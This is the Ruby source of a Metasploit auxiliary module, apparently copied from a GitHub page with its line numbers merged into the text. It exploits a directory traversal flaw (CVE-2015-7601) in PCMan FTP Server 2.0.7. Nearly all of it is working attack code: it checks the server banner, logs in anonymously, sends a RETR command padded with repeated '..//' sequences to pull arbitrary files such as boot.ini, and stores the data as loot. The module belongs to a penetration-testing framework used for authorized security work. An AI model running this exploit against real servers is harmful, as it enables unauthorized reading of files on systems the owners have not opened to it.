Path: blob/master/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',15'Description' => %q{16This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.17This vulnerability allows an attacker to download arbitrary files from the server by crafting18a RETR command that includes file system traversal strings such as '..//'19},20'Platform' => 'win',21'Author' => [22'Jay Turla', # @shipcod3, msf and initial discovery23'James Fitts', # initial discovery24'Brad Wolfe <brad.wolfe[at]gmail.com>'25],26'License' => MSF_LICENSE,27'References' => [28[ 'EDB', '38340'],29[ 'CVE', '2015-7601']30],31'DisclosureDate' => '2015-09-28',32'Notes' => {33'Reliability' => UNKNOWN_RELIABILITY,34'Stability' => UNKNOWN_STABILITY,35'SideEffects' => UNKNOWN_SIDE_EFFECTS36}37)38)3940register_options(41[42OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),43OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])44]45)46end4748def check_host(ip)49begin50connect51if /220 PCMan's FTP Server 2\.0/i === banner52return Exploit::CheckCode::Appears53end54ensure55disconnect56end5758Exploit::CheckCode::Safe59end6061def run_host(target_host)62begin63# Login anonymously and open the socket that we'll use for data retrieval.64connect_login65sock = data_connect66if sock.nil?67error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'68print_status(error_msg)69elog(error_msg)70else71file_path = datastore['PATH']72file = ::File.basename(file_path)7374# make RETR request and store server response message...75retr_cmd = ("..//" * datastore['DEPTH']) + "#{file_path}"76res = send_cmd(["RETR", retr_cmd])7778# read the file data from the socket that we opened79# dont assume theres still a sock to read from. Per #758280if sock.nil?81error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'82print_status(error_msg)83elog(error_msg)84return85else86# read the file data from the socket that we opened87response_data = sock.read(1024)88end8990unless response_data91print_error("#{file_path} not found")92return93end9495if response_data.length == 0 or !(res =~ /^150/)96print_status("File (#{file_path})from #{peer} is empty...")97return98end99100# store file data to loot101loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)102vprint_status("Data returned:\n")103vprint_line(response_data)104print_good("Stored #{file_path} to #{loot_file}")105end106rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e107vprint_error(e.message)108elog(e)109rescue ::Timeout::Error, ::Errno::EPIPE => e110vprint_error(e.message)111elog(e)112ensure113data_disconnect114disconnect115end116end117end118119120